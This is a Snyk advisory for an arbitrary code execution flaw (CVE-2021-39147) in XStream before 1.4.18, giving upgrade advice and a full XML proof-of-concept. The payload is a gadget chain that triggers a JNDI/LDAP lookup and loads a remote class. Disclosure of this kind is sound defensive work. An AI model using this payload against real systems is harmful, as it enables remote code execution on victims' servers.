Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of concept
EPSS
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
1.55% (87th percentile)
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Start learning- Snyk IDSNYK-JAVA-COMTHOUGHTWORKSXSTREAM-1569182
- published24 Aug 2021
- disclosed24 Aug 2021
- creditwh1t3p1g
Introduced: 24 Aug 2021
CVE-2021-39147 (opens in a new tab)Common Vulnerabilities and Exposures (CVE) are common identifiers for publicly known security vulnerabilities
Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.
Overview
com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.
Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.
PoC
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
<soapPart/>
<mm>
<it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
<listArg class='javax.naming.CompoundName' serialization='custom'>
<javax.naming.CompoundName>
<properties/>
<int>1</int>
<string>ysomap</string>
</javax.naming.CompoundName>
</listArg>
<cleaned>false</cleaned>
<res>
<msgId>0</msgId>
<status>0</status>
</res>
<enumClnt>
<isLdapv3>false</isLdapv3>
<referenceCount>0</referenceCount>
<pooled>false</pooled>
<authenticateCalled>false</authenticateCalled>
</enumClnt>
<limit>1</limit>
<posn>0</posn>
<homeCtx>
<__contextType>0</__contextType>
<port__number>1099</port__number>
<hostname>127.0.0.1</hostname>
<clnt reference='../../enumClnt'/>
<handleReferrals>0</handleReferrals>
<hasLdapsScheme>true</hasLdapsScheme>
<netscapeSchemaBug>false</netscapeSchemaBug>
<referralHopLimit>0</referralHopLimit>
<batchSize>0</batchSize>
<deleteRDN>false</deleteRDN>
<typesOnly>false</typesOnly>
<derefAliases>0</derefAliases>
<addrEncodingSeparator/>
<connectTimeout>0</connectTimeout>
<readTimeout>0</readTimeout>
<waitForReply>false</waitForReply>
<replyQueueSize>0</replyQueueSize>
<useSsl>false</useSsl>
<useDefaultPortNumber>false</useDefaultPortNumber>
<parentIsLdapCtx>false</parentIsLdapCtx>
<hopCount>0</hopCount>
<unsolicited>false</unsolicited>
<sharable>false</sharable>
<enumCount>1</enumCount>
<closeRequested>false</closeRequested>
</homeCtx>
<more>true</more>
<hasMoreCalled>true</hasMoreCalled>
<startName class='javax.naming.ldap.LdapName' serialization='custom'>
<javax.naming.ldap.LdapName>
<default/>
<string>uid=ysomap,ou=oa,dc=example,dc=com</string>
</javax.naming.ldap.LdapName>
</startName>
<searchArgs>
<name class='javax.naming.CompoundName' reference='../../listArg'/>
<filter>ysomap</filter>
<cons>
<searchScope>1</searchScope>
<timeLimit>0</timeLimit>
<derefLink>false</derefLink>
<returnObj>true</returnObj>
<countLimit>0</countLimit>
</cons>
<reqAttrs/>
</searchArgs>
<entries>
<com.sun.jndi.ldap.LdapEntry>
<DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
<attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
<default>
<ignoreCase>false</ignoreCase>
</default>
<int>4</int>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>objectClass</attrID>
</default>
<int>1</int>
<string>javaNamingReference</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaCodeBase</attrID>
</default>
<int>1</int>
<string>http://127.0.0.1/</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaClassName</attrID>
</default>
<int>1</int>
<string>foo</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
<com.sun.jndi.ldap.LdapAttribute serialization='custom'>
<javax.naming.directory.BasicAttribute>
<default>
<ordered>false</ordered>
<attrID>javaFactory</attrID>
</default>
<int>1</int>
<string>EvilObj</string>
</javax.naming.directory.BasicAttribute>
<com.sun.jndi.ldap.LdapAttribute>
<default>
<rdn class=''javax.naming.CompositeName'' serialization=''custom''>
<javax.naming.CompositeName>
<int>0</int>
</javax.naming.CompositeName>
</rdn>
</default>
</com.sun.jndi.ldap.LdapAttribute>
</com.sun.jndi.ldap.LdapAttribute>
</attributes>
</com.sun.jndi.ldap.LdapEntry>
</entries>
</aliases>
</it>
</mm>
</multiPart>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>ysomap</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
XStream xstream = new XStream();
xstream.fromXML(xml);
References
CVSS Scores
version 3.1